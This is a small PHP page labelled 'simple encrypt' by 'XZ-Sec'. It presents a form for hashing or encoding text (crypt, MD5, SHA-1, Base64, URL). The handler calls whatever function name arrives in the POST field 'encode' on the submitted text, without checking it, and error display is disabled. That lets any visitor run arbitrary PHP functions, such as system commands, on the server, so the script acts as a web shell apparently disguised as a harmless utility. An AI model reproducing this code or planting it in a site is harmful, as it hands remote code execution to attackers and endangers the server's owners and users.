simple encrypt

<? /*SIMPLE ENCRYPTER BY XZ-Sec*/ @ini_set('display_errors', 0); echo '<title>Envrypter</title><body bgcolor=silver><center><form method="post"><br>Text : <input name="strg"><br>
<select name=encode>
<option value="crypt">Crypt</option>
<option value="md5">MD5</option>
<option value="sha1">SHA-1</option>
<option value="base64_encode">Base64</option>
<option value="rawurlencode">URL</option>
</select>
 <input name="anu" type="submit" value="Encrypt"></form><br>';if($_POST['anu']){
$enc = $_POST['encode'];
echo "<textarea>".$enc($_POST['strg'])."</textarea>";
}